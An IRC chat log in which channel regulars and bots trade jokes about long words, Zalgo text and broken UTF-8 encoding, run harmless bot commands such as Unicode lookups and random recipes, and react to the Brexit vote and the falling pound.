00:36:56 <moon__> the phobia about long words... is a long word: hippopotomonstrosesquippedaliophobia
00:37:05 <moon__> idk if i even spelled it right
00:38:09 <Koen_> sounds like someone made that one up on purpose
00:38:17 <oerjan> moon__: of course almost half of that is fake
00:38:21 <moon__> yea, i copyed that
00:38:24 <moon__> i didnt know
00:38:51 * moon__ notes the fact 'your guillible' is written on the ceiling
00:39:01 <oerjan> the part from sesqui on is more reasonable. but still mixing latin and greek ugh
00:39:47 <moon__> oh, its from a comic
00:39:49 <oerjan> `learn A guillible person is someone who can be fooled with a Scheme script.
00:39:56 <HackEgo> Learned 'guillible': A guillible person is someone who can be fooled with a Scheme script.
00:39:57 -!- adu has joined.
00:41:26 <oerjan> . o O ( what's the longest word that hasn't been invented just to be long )
00:43:11 <moon__> . o O ( I want to point out to oerjan that its the name of a protein )
00:43:46 <Koen_> I just set up a policy neural network to play tictactoe against itself and train on the moves they played in games they won
00:44:09 <Koen_> now I can take bets on the number of games needed for the network to become good
00:45:10 <moon__> lol
00:45:55 <moon__> next up: train a neural network to make bets and win them
00:46:15 * oerjan is doubtful
00:46:36 <oerjan> oh
00:46:42 <oerjan> misread
00:46:52 <oerjan> yeah probably
00:47:15 <moon__> by name i mean the moleculear (or is it chemical) name
00:47:35 <oerjan> IUPAC
00:48:48 <moon__> https://en.wiktionary.org/wiki/Appendix:List_of_protologisms/Long_words/Titin
00:50:20 <oerjan> <Destructible> P̸̱͕͕̮̜̹̮̜͍͉͝ͅU̵͏҉̴͈̖͓͔̹̼̞̬̳̬͔͖͓͇͔D̢͓̭͈̀̀̀͝D̶͓̲͉̜͉̣̲̝͉̤͍̥͙̞͇̮̠͔͝Ì̡̡̲͉̥̩̘͟Ṉ̢̺͈̟̳̳͙͈͔̰̺̼̲̝͚͉̙̗̲͟G͎͓̥̼̰͎̝̫͕̪̺̥͎͎͇̱͎̕͘ ̶̛̲͍͙͇̦͇̯̰̫̹̱͞P̶҉͡҉͚͓̫̹̮͍̘Ǫ̶̶̭͔̰̩̺̯̮̣͓̼̟̯͡P̨͉̭̪̗̼͖̮͉͕̮͖ͅͅS̴͟͜҉̨̖̟͖͈͇̪̲͇͚̱̱͍̭̳͎͙.̴̛͙͞͞
00:50:26 <oerjan> ̞̞̩̩̬͖͓ ̡̩͍̪̙͝͡Ţ̢� <-- ...
00:50:29 <oerjan> ... the garfield is strong in this one.
00:50:41 <moon__> nuu
00:50:47 <moon__> not hangdown characters
00:51:06 <Koen_> my irc client doesn't know how to react to this
00:51:36 <moon__> lol
00:53:47 <boily> garfield? hangdown?
00:54:08 <moon__> wait...
00:54:18 -!- MoALTz has quit (Quit: Leaving).
00:55:15 <moon__> *Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì
00:55:22 <oerjan> moon__: it's appropriate. also i think e was alluding to http://www.mezzacotta.net/garfield/?comic=1928
00:56:09 <oerjan> although there are other more direct zalgo references
00:56:10 <moon__> Oh, THAT comic, i kinda enjoy that one
00:56:37 <moon__> Enjoy the line
00:57:32 <oerjan> moon__: btw your fancy line above is not correct utf-8, so it shows up as ...Ì©Ì©Ì©Ì©Ì©... for me.
00:57:42 <moon__> )=
00:57:48 <moon__> but its valid unicode :P
00:58:01 <oerjan> i think a byte got cut off
00:58:22 <oerjan> that it is, it's too long, and a utf-8 char got cut in the middle.
00:58:23 <moon__> oh
00:58:25 <Koen_> is this an accentuated capital i followed by a copyright sign, over and over again?
00:58:27 <moon__> l̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞v
00:58:34 <moon__> Nope
00:58:37 <moon__> its ment to be a line
00:59:00 <Koen_> okay, I'm switching back to latin-1 then
00:59:28 <moon__> unless you are talking about oerjan's post
00:59:29 <oerjan> Koen_: it's meant to be utf-8, but the line contains one broken char
01:00:09 -!- adu has quit (Quit: adu).
01:00:18 <moon__> *̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞Ì
01:00:27 <oerjan> moon__: same problem.
01:00:29 <Koen_> now it's just the accentuated I
01:00:35 <Koen_> and a star at the beginning
01:00:59 <oerjan> `len Ìž
01:01:03 <HackEgo> 2 codepoints \ 4 UTF-8 bytes
01:01:30 <oerjan> `ord Ìž
01:01:31 <HackEgo> 204 382
01:01:56 <oerjan> hm that's not even latin-1
01:02:35 <oerjan> it looks like you converted it to a different charset, and then encoded that as utf-8
01:03:25 <b_jonas> `perl -eprint "o".pack"V*",(2915861196)x29
01:03:27 <HackEgo> ô̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂
01:03:37 <b_jonas> `perl -eprint "o".pack"V*",(2915861196)x79
01:03:38 <HackEgo> ô̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂
01:04:10 -!- hppavilion[1] has joined.
01:04:51 <moon__> my stuff is rendering wrong?
01:04:56 -!- adu has joined.
01:05:10 <hppavilion[1]> hadu
01:08:13 <oerjan> @tell Etaoin <Etaoin> always thought it was a neat similarity <-- it's not just a similarity, in fact sin(x) = (e^(ix) - e^(-ix))/(2i) and then it becomes the _exact_ same thing.
01:08:13 <lambdabot> Consider it noted.
01:10:38 <moon__> lol
01:11:00 <\oren\> ARGH
01:11:06 <tswett> `unidecode ž
01:11:09 <\oren\> all my spaceplanes explode
01:11:15 <HackEgo> U+009E <control> \ UTF-8: c2 9e UTF-16BE: 009e Decimal: &#158; \ ž \ Category: Cc (Other, Control) \ Bidi: BN (Boundary Neutral)
01:11:30 <\oren\> mostly on the runway
01:11:32 <oerjan> moon__: my client and many others have a fallback where if a line is not entirely correct utf-8, it gets interpreted as latin-1 (or rather the windows superset) instead.
01:11:36 <tswett> `unidecode Ì
01:11:40 <HackEgo> ​[U+00CC LATIN CAPITAL LETTER I WITH GRAVE]
01:11:53 <tswett> `unicode U+9ECC U+CC9E
01:11:56 <HackEgo> No output.
01:12:10 * tswett raises an eyebrow.
01:12:13 <oerjan> (well, it's an optional setting, that i was recommended back when i got utf-8 working in it)
01:12:13 <tswett> `unicode U+9ECC
01:12:14 <HackEgo> ​黌
01:12:20 <tswett> `unicode U+CC9E
01:12:22 <HackEgo> ​첞
01:12:31 <tswett> I like the second one better.
01:13:16 <b_jonas> um, the first one looks like a kanji, the second one looks like a hangul
01:13:25 <tswett> `unidecode 첞
01:13:27 <HackEgo> ​[U+CC9E HANGUL SYLLABLE CEONH]
01:13:36 <tswett> So it is.
01:15:17 <tswett> 0xCC 0x9E is valid UTF-8 for something, right?
01:16:02 <shachaf> > printf "%08b %08b" 0xcc 0x9e :: String
01:16:03 <tswett> Those bytes are 11001100 10011110, which binarizes as 1100011110, or 31E?
01:16:04 <lambdabot> "11001100 10011110"
01:16:12 <tswett> `unicode U+031E
01:16:12 <b_jonas> `perl -euse List::Util"max"; print join" ",map{pack "U*",map{128+rand(1<<16-128)}0..max(rand(10),rand(11))}0..7;
01:16:17 <HackEgo> ​̞
01:16:22 <HackEgo> Wide character in print at -e line 1. \ 쑝꠺鸥煾긴홊뒂숙 ⥸豙嚌�蘺囑⠥軁㫸㐯씁 콪貟ᓇ謆進難Ἂ臍﨏ᅶ៱ 岍诺鵙⼠Ṹ䐃�䑈 꼍䗹婊޴䆷쀙᧰ ᡥ晎죋怒쓔渫팦 │㊒뜄倓ḛ뽽�⎳旬鹁 濋⾯餦㘥랬뎻
01:16:33 <pikhq> tswett: Yep, totally legal UTF-8.
01:16:47 <shachaf> > "1100011110" ^? binary
01:16:48 <lambdabot> Just 798
01:17:16 <shachaf> > text $ "1100011110" ^.. binary . to chr
01:17:18 <lambdabot> ̞
01:17:32 <oerjan> <Etaoin> always thought it was a neat similarity <-- surely you can pronounce it as rofly one syllable anyway
01:17:35 <oerjan> argh
01:17:40 <b_jonas> `perl -euse List::Util"max"; print join" ",map{pack "C0U*",map{128+rand(1<<16-128)}0..max(rand(10),rand(11))}0..7;
01:17:42 <HackEgo> ​㘍䃮浄ᦃ鼈퓔 ᢃ⻲簵⢰䌃ʗ 灌�듈⼡ 뼓껳膁봾匾蟲璡⥦ 祳ὕ̜촂䲾ਉᒣ䋫严ս 쮜ힱ篡꯫ 愍 껭𐁬ꆜ뭯橫晰㙃
01:17:43 * oerjan needs to remember to press ^C
01:17:51 <b_jonas> `perl -euse List::Util"max"; print join" ",map{pack "C0U*",map{128+rand(1<<16-128)}0..max(rand(10),rand(11))}0..7;
01:17:52 <HackEgo> ​ᚺ૩셠ꔞ 毀ﴟ曓뎵ꭊ茔䩙ᥔ䁉⟉ኰ 給▒肩ȓ鉝틻 ��⤐辨줳碧 䞅鷽⡰뼼ꚁ㍣ꯦ 鲬孋첲鯹튬ଷ 枽岊贀⒕ꌯ ﴘ爸쿤㶽Ó͜
01:18:07 <oerjan> <\oren\> I think they changed the order so you can pronounce it in one syllable <-- surely you can pronounce it as rofly one syllable anyway
01:20:22 <b_jonas> `perl -euse List::Util"max"; print join" ",map{pack "C0U*",map{128+rand(1<<16-128)}0..max(rand(10),rand(11))}0..7;
01:20:23 <HackEgo> ​袐ᇹ膍ﻤ暴 沇䦶뽀쯳㰖샭퉂箲 䩡랜虾抡꼏᱌慌⁂ 끄炶뱶릌쟡恌洺୫淓 撒㝩큿欘ܴ᳐䞗쭵댻 鯙䇢˫ 솔갱㣹Ʋ㿽뺷 ꍽ븿ࣻቘ騚ᲈྭ
01:23:20 <hppavilion[1]> @massages-lud
01:23:20 <lambdabot> oerjan said 57m 55s ago: <hppavilion[1]> Are there any problems that are /literally/ unsolvable on CCs but not on QCs? <-- no hth
01:23:38 <hppavilion[1]> oerjan: What about random number generation?
01:24:09 <oerjan> well you can consider that part of classical
01:24:43 <oerjan> of course this might depend on how you define "problem".
01:24:59 <izabera> how annoyed would you be if some http server replied with 403 to any HEAD request but a GET request for the same content returned 200 ?
01:25:45 <oerjan> wouldn't that like totally ruin all browser caching
01:25:54 <izabera> indeed
01:26:37 <oerjan> looks like it's time to send a NUKE request, then.
01:26:50 <izabera> yeah
01:28:29 * izabera just wanted to know the size of the windows installer for supertux but it's impossible to know
01:28:42 <b_jonas> `perl -euse List::Util"max"; print join" ",map{pack "U*",map{128+rand(1<<16-128)}0..max(rand(10),rand(11))}0..7;
01:28:45 <HackEgo> Wide character in print at -e line 1. \ �梔翪纞싩텎蹱塞픒ਅ 枾䚋樂ᄕ꨻娅♰ 䞆胚遰ꩥ㩶 픮쵌ⵔ卣퐲팊陋弖흘 僯㷠鞰쌵쩶薭 䆈좆蘷欐᜽䅗䏩懪恟 巴⛝境蜈प൨僼ᡖ 唑民桫斬�泲賈�뙦
01:28:59 <b_jonas> `perl -euse List::Util"max"; print join" ",map{pack "C0U*",map{128+rand(1<<16-128)}0..max(rand(10),rand(11))}0..7;
01:29:00 <HackEgo> ​䊈䴞꺁⸂₣ 業ҡଁ喆Ꮵ㏉袐誝薫蛇 뙥ꯞﱮ⣃ຏ︷䡨䛱 㹃ᄋ눃椑䠳 ꢟ秳찋쭀𐀛桞㎐ 졸䞇紂殠듭䘇﴿썂 蓲엶䃍ꭶ韓첫ꧧ䟙 䇾㑌騇︿
01:29:43 <moon__> oh noes, unicode!
01:30:06 * moon__ runs back off to square root of minus garfield
01:33:24 <boily> was on the phone and I get back to some kind of apocalyptic caractaclysm...
01:33:32 -!- spiette has quit (Quit: :qa!).
01:34:24 <boily> what the fungot is going on here...
01:34:24 <fungot> boily: it was on tv. 3
01:34:32 <boily> fungot: I missed it, was on the phone.
01:34:32 <fungot> boily: _they_ are after him.
01:34:36 <boily> fungot: I know!
01:34:36 <fungot> boily: hmm.... i can't both read and scroll that page simultaneously.
01:34:50 <boily> fungot: me neither. my client's spewing nonsense on the screen.
01:35:25 -!- lambda-11235 has joined.
01:36:18 <boily> hellambda-11235. Do Not Logread. Ignore any Eldritch Nonsense that may have Happened. Preserve your Brain. Your Sanity is Valuable.
01:36:44 <shachaf> Feel free to spam a bit, though.
01:36:58 <boily> lovely spam ♪
01:36:59 <shachaf> All that nonsense is messing up my terminal.
01:37:05 <boily> you don't say.
01:37:11 <shachaf> So I hope to have it scroll off the screen soon.
01:37:29 <boily> I'll write random ramblings in French. French Promotes Sanity.
01:37:47 <boily> bon, espérant que t'es capable d'afficher des lettres dans latin-1.
01:38:01 <boily> pas mal tout le monde aujourd'hui sont capable de se communiquer de même.
01:38:14 <shachaf> tout le monade?
01:38:36 <boily> tsé, pas trop difficile... quelques é pis des à à travers, pis un ç si t'es malchanceux. c'est vrai que tu peux voir des trémas aussi, mais ça arrive juste dans le maïs pis à Noël.
01:38:43 <boily> shachaf: French is Functional hth
01:39:17 <boily> ça me rappelle quand j'ai été pris pour prononcer des mos pas possibles. c'était tu du géorgien c'te fois-là?
01:39:22 <boily> y manquait un peu trop de voyelles.
01:39:28 <boily> shachaf: how many lines in your client?
01:39:51 <boily> j'aime bien les voyelles. ça fait une bonne source de mangulation pour être phonétiquement créatif.
01:40:05 <boily> plein de langues dans le monde sont débalancées. c'est pas très feng shui.
01:40:11 <shachaf> ~50 right now.
01:40:33 <quintopia> helloily
01:40:39 <boily> d'un bord t'as le croate, qui est juste aberrant à mon avis, pis de l'autre t'avais c't'affaire de genre de cossin vaguement pseudo-new-age.
01:40:46 <boily> aUI que ça s'appelait?
01:40:46 <quintopia> care package is away. cross your fingers.
01:41:14 <boily> quinthellopia! care package will be sent quelque part this weekend. cross any crossable extremities you may currently possess!
01:41:26 <boily> shachaf: good.
01:41:36 <boily> m'a continuer debord à raconter n'importe quoi.
01:41:49 <quintopia> i would love to know what all that french crap says!
01:41:58 <boily> quintopia: not important :P
01:42:08 <boily> it's only there for shachafscrolling :D
01:42:19 <boily> also, not sure Google Translate likes me...
01:42:45 <boily> c'est comme les fois où oerjan se met à écrire en dialecte norvégien inusité. GT en arrache une shot à chaque fois...
01:42:59 <boily> je pense que dans les langues sérieuses, le support du japonais est le plus nul à chier.
01:43:15 <quintopia> i still want to know. it seems interesting.
01:43:18 <boily> tsé veut dire, t'as des particules pour tagguer les bouttes de phrases! tu peux pas te tromper!
01:43:33 <boily> quintopia: ok, let's translate!
01:44:04 <boily> “good, hoping that you're able to display letters in latin-1”
01:44:20 <quintopia> i'm guessing "tse veut dire" means roughly "y'know"?
01:44:22 <boily> “just about everybody today can communicate this way”
01:44:27 <boily> quintopia: yup.
01:45:16 <hppavilion[1]> Is there a parody of Creative Commons? e.g. Annihilative Commons?
01:45:20 <boily> “y'know, not too difficult. a few é with some à mixed in, with a ç if you're unlucky. it's true you can see diæresises, but it only happens in corn (maïs) and during Christmas (Noël).”
01:45:52 <boily> “that reminds me of that time I was stuck pronouncing unpossible words. was it Georgian that time?”
01:46:11 <boily> “lots of world languages are imbalanced. that's not really feng shui.”
01:46:54 <boily> “on one hand you have Croatian, which is just abhorrent in my opinion, and on the other hand you had that gizmotic thingie vaguely pseudo-new-age.”
01:47:03 <boily> “aUI it was called?”
01:47:21 <quintopia> it's called lojban
01:47:29 <boily> “[untranslatable] to tell ramblings.”
01:48:09 <boily> “that's like the times where oerjan starts writing in unusual Norwegian dialect. GT [untranslatable] every time...”
01:48:09 <b_jonas> boily: wait, you left out the part about too few vowels (in georgian I think)
01:48:23 <boily> b_jonas: I did?
01:48:23 -!- Koen_ has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”).
01:48:44 <quintopia> boily: are you just copypastaing? i feel like a human should never have [untranslatable]
01:49:11 <boily> “I thing that in [GT's] serious languages, Japanese support is the absolute worst” (exact wording is colloquial and vulgar)
01:49:38 <boily> ”y'know, you've got particles for tagging sentence fragments! you can't get lost!”
01:49:55 <b_jonas> yes
01:50:07 <quintopia> what is GT
01:50:09 <quintopia> oh google
01:50:14 <b_jonas> quintopia: google trans
01:50:15 <b_jonas> yes that
01:50:40 <quintopia> what might en arrache une shot be?
01:51:20 <quintopia> `? steam sale
01:51:22 <HackEgo> steam sale? ¯\(°​_o)/¯
01:51:40 <boily> to experience trouble? to hardly manage by? to get it done by the seat of your pants, but not even that?
01:53:11 <quintopia> `le/rn steam sale/When money is heated to such high temperatures it evaporates and then condenses into games you will never play.
01:53:16 <HackEgo> Learned «steam sale»
01:53:30 <quintopia> to get it done with some difficulty? to struggle through?
01:54:46 <shachaf> oerjan: Can you believe we used to not have le/rn?
01:54:57 <b_jonas> `? le/rn
01:54:58 <HackEgo> le/rn makes creating wisdom entries manually a thing of the past.
01:55:01 <b_jonas> `? learn
01:55:03 <HackEgo> ​`learn creates a wisdom entry and tries to guess which word is the key. Syntax (case insensitive): `learn [a|an|the] <keyword>[s][punctuation] [...]
01:55:09 <b_jonas> `? le//rn
01:55:11 <HackEgo> le/rn makes creating wisdom entries manually a thing of the past.
01:55:20 <b_jonas> `? thanks
01:55:22 <HackEgo> thanks? ¯\(°​_o)/¯
01:56:01 <boily> quintopia: something like that.
01:56:57 <oerjan> <quintopia> boily: are you just copypastaing? i feel like a human should never have [untranslatable] <-- perhaps boily is secretly a super-happy alien
01:57:57 <boily> again, I'm not a squirrel!
01:58:35 <oerjan> <shachaf> oerjan: Can you believe we used to not have le/rn? <-- you mean when people actually put the key in the wisdom?
01:58:55 <quintopia> oerjan: frankly, i always thought the super-happies had the superior society. Even though I'm not a huge fan of babykilling I always found the "bad ending" somehow more satisfying.
01:58:57 <shachaf> oerjan: Well, that wouldn't have worked for steam sale anyway.
01:59:45 <oerjan> `slwd steam sale//s/./A steam sale is w/
01:59:48 <HackEgo> wisdom/steam sale//A steam sale is when money is heated to such high temperatures it evaporates and then condenses into games you will never play.
01:59:49 <oerjan> WATCH ME
02:00:05 <shachaf> oerjan: I mean that `learn wouldn't have worked.
02:01:21 <\oren\> YAAAAAAY I sucessfully got into orbit and returned with my first SSTO
02:01:38 <boily> \oren\: KSP?
02:01:44 * boily WATCHES OERJAN OKAY
02:02:11 <quintopia> boily: what is the relationship between auberges and aubergines?
02:02:17 <\oren\> yup
02:03:03 <oerjan> quintopia: i'm just wondering what kind of mess would evolve as the super-happies keep meeting more and more alien societies... eventually some truly irreconcilable value systems seem inevitable.
02:03:20 <\oren\> I made a plane that can fly into orbit, return and land at the space center runway, thus only taking the cost of fuel.
02:03:40 <boily> quintopia: the first is an inn, the latter an auberginn.
02:04:01 * boily autmapoles himself in abject disgust. 0.25 shachafs.
02:04:17 <oerjan> boily: YOU CAN STOP WATCHING NOW
02:04:24 <boily> OKAY
02:04:33 <b_jonas> `? oily
02:04:34 <HackEgo> oily? ¯\(°​_o)/¯
02:04:39 <b_jonas> `? _jonas
02:04:40 <HackEgo> _jonas? ¯\(°​_o)/¯
02:06:35 -!- augur has quit (Remote host closed the connection).
02:07:13 <quintopia> boily: huh. i thought maybe eggplants only grew at inns
02:07:40 <boily> auberge: Du moyen français alberge, de l’ancien occitan alberga, altération de l’ancien bas vieux-francique *heriberga « loge des soldats, caserne » (cf. néerlandais herberg), apparenté à l'allemand Herberge, à l'anglais harbor « havre, darce ».
02:07:59 <boily> aubergine: Du catalan albergínia, de l’arabe andalou baḏinǧána, celui-ci de l’arabe باذنجان, bādiljān, originaire du persan بادنجان, bātingān, probablement du sanskrit वातिगगम, vātigagama.
02:08:00 -!- jaboja has quit (Remote host closed the connection).
02:08:25 <quintopia> oerjan: assuming there are more andf more alien societies...but how much more irreconcilable can you get than "the thing you consider the most good in the world is the thing we consider right up among the most appalling"?
02:09:32 <boily> quintopia: seems that the two concepts are orthogonal. one's germanic, the other sanskrit.
02:09:39 <quintopia> i feel like they'd figure out a way to reconcile any differences; they have the technology!
02:11:43 <boily> I'm growing a plant this year. there's already one! still small, but it's going to be tasty! :D
02:12:10 <quintopia> you're living in an inn????
02:14:02 <boily> ...
02:14:05 <quintopia> i wonder if steam will mail me if an already discounted game goes on a daily sale
02:15:20 <b_jonas> `recipe
02:15:21 <HackEgo> ​ Cooked finely chopped \ 2 c Water \ 1/4 c Cooked chile \ 1 ds Salt \ 1/4 ts Ground cinnamon \ 1 ts Salt \ 2 ts Salt \ 1 1/2 ts Sugar \ 6 oz Bouillon shredded \ 4 Eggs, beaten \ 1 c Dark tomato sheets \ 1 c Granulateds sugar, sliced \ 1 ts Sugar \ \ MMMMM----------------------------CRUST------------------------------ \ 2 ts Worcest
02:15:53 <b_jonas> `recipe
02:15:53 <HackEgo> ​ pn Salt \ 1 ts Cayenne pepper \ Salt \ 2 tb Flour \ 1/2 c Sugar \ 2 ts Salt \ 2 pk Yeast \ 1 lg Onion, chopped \ Salt and pepper \ And seeded and drained \ 2 tb Lemon juice \ And chopped \ Freshly ground black pepper \ Salt and pepper \ Salt \ --freshly ground black pepper \ 1/4 ts Cayenne \ 1 dl Basil \ 4 tb Butter or margari
02:16:33 <quintopia> suddenly predictwise is heavily betting that the brexit will happen. looks like it could be one big bettor? http://predictwise.com/politics/uk-politics
02:16:54 <boily> b_jonas: is that some kind of fungot recipe generator?
02:17:31 <b_jonas> `? recipe
02:17:33 <HackEgo> Random food recipes at https://gist.github.com/nylki/1efbaa36635956d35bcc
02:17:38 <b_jonas> boily: ^
02:19:33 <boily> fungot recpie generator it is ^^
02:29:17 <quintopia> so...bon soily?
02:29:39 <boily> yup, time to hit the sack.
02:29:43 <boily> bonnnuitopia!
02:29:44 <quintopia> nainai
02:29:57 -!- boily has quit (Quit: CRAWLER CHICKEN).
02:33:00 -!- moon__ has quit (Ping timeout: 250 seconds).
02:33:11 -!- iaglium has quit (Ping timeout: 240 seconds).
02:41:11 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
02:41:40 -!- bender__ has joined.
02:42:12 -!- myndzi\ has quit (Ping timeout: 276 seconds).
02:43:40 -!- bender__ has quit (Client Quit).
02:47:58 -!- augur has joined.
02:49:08 -!- zzo38 has joined.
03:55:57 <\oren\> GBP on track for nosedive!
04:09:14 <pikhq> So... Is now the time to short GBP hard?
04:11:40 <shachaf> Do you have nonpublic information?
04:12:18 <pikhq> No.
04:12:39 <pikhq> Hence my odds of doing better than the markets as a whole are... negligible.
04:13:12 -!- hppavilion[1] has joined.
04:15:01 <hppavilion[1]> Wait, there used to be a forum!?
04:15:11 <hppavilion[1]> https://esolangs.org/forum/
04:18:38 <oerjan> yes.
04:19:47 <oerjan> it was pretty much 99% spam at the end.
04:20:14 <oerjan> (not just because there was so much spam but because there was so little real posting)
04:20:44 <oerjan> there also, before that, used to be a mailing list.
04:24:58 <tswett> oerjan: when was the forum put online?
04:25:33 <tswett> `recipe
04:25:38 <HackEgo> oiling water and cherries and each of the heat as order \ cooking. Bake at 350 degrees for 5 to 5 minutes. Beat the peas, and chopped onions \ and the cheese chopped onions. Add the bay leaf, salt, and cinnamon \ color. Pour over medium-high heat. \ \ Serve with a cups buttered 1 inch cubes. remove from heat, and refrigerate. \ \ For a pie
04:27:44 <\oren\> Trying to land a refueling station on Minmus
04:29:26 <oerjan> tswett: i dunno
04:54:23 <hppavilion[1]> 55 out of 100 on privledge.
04:54:35 <hppavilion[1]> Whoo! I got an F and can thus play the privilege card!
05:02:26 <\oren\> Sterling falls below 1.35 USD
05:02:41 <\oren\> hppavilion[1]: on wat?
05:07:30 -!- augur has quit (Remote host closed the connection).
05:12:43 <Sgeo_> If I understand correctly, this means tourism there should be cheap, right?
05:14:51 -!- Kaynato has quit (Ping timeout: 264 seconds).
05:16:00 <\oren\> Yes
05:16:12 <\oren\> hppavilion[1]: 92
05:16:15 <\oren\> I go 92
05:16:19 <\oren\> *got
05:16:44 <\oren\> i dunno which test you went with though
05:20:11 -!- lambda-11235 has quit (Ping timeout: 240 seconds).
05:20:25 <Cale> `recipe
05:20:26 <HackEgo> l, combine the baking soda \ and the flour to the mayo. \ \ Spread the filled steaks, cake container and paper over hot water, and place the spinach \ and the garlic are electric mixer until dough is a few \ soft. Cover the fruit before serving. In a medium saucepan, combine all the \ oil in a preheated oven for about 15 minutes. \ \ Add
05:21:43 <b_jonas> :-( :-(
05:27:36 -!- lambda-11235 has joined.
05:32:38 <Cale> http://www.bloomberg.com/quote/GBPUSD:CUR
05:32:47 <oerjan> . o O ( some people in scotland are going to regret their previous vote )
05:33:07 <pikhq> We can bet on a new referendum in Scotland soon.
05:33:40 <pikhq> Freude, schöner Götterfunken, Tochter aus Elysium...
05:40:51 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
05:40:59 <Cale> https://www.dailyfx.com/gbp-usd -- better graph
05:41:26 -!- hppavilion[1] has joined.
06:04:54 <b_jonas> :-( :-( :-(
06:07:00 <hppavilion[1]> b_jonas appears to be sad
06:07:49 <b_jonas> I guess we'll have to relearn wisdom/brexit
06:17:25 -!- augur has joined.
06:21:42 -!- adu has quit (Quit: adu).
06:38:23 <\oren\> `? brexit
06:38:26 <HackEgo> brexit is like a break, except when there's no surrounding loop, in which case it's like an exit.
06:43:03 <\oren\> what happens if you . /dev/null?
06:43:41 <\oren\> nothing. aww...
06:50:25 -!- oerjan has quit (Quit: Nite).
06:51:47 <hppavilion[1]> Gah, now I'm stuck on the Calculus of Variations
06:52:11 <hppavilion[1]> b_jonas: Did brexit britain?
06:56:00 <hppavilion[1]> In a 4D universe, would we have 2D roads?
06:56:14 -!- lambda-11235 has quit (Quit: Bye).
06:58:03 <zzo38> I have read about Brexit in newspaper recently and now found an article about Brexit also in Wikipedia
06:59:58 <zzo38> (I just searched for "Brexit" on Wikipedia and it redirected to the correct article, so it was easy to find)
07:27:37 -!- augur has quit (Remote host closed the connection).
07:34:11 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
07:42:59 -!- impomatic has quit (Ping timeout: 244 seconds).
07:50:15 -!- Frooxius has quit (Quit: *bubbles away*).
07:50:42 -!- Frooxius has joined.
07:51:45 <shachaf> "brexit" is a scowmanteau
07:55:12 <int-e> if brexit were a Posix function, what would it do?
07:58:23 <shachaf> Combination brk/exit?
07:58:29 <shachaf> Doesn't seem very useful.
08:01:00 <lifthrasiir> int-e: badass really exit, more severe version of _exit
08:01:10 <lifthrasiir> probably wired to syscall(SYS_exit, 1)
08:02:29 <shachaf> exits the parent process as well
08:03:09 -!- Destructible has joined.
08:03:17 <Destructible> hoi
08:09:52 <shachaf> saying hi every time you join is not mandatory
08:10:14 <shachaf> especially when you join many times every day
08:12:47 <Destructible> ok.
08:12:49 <Destructible> noted
08:20:40 <int-e> oh, more wonderful news https://www.eff.org/deeplinks/2016/06/federal-court-fourth-amendment-does-not-protect-your-home-computer
08:25:44 -!- Destructible has quit (Ping timeout: 250 seconds).
08:26:43 <shachaf> int-e: Is that amendment relevant to you?
08:37:15 -!- AnotherTest has joined.
08:43:28 <shachaf> `cat bin/recipe
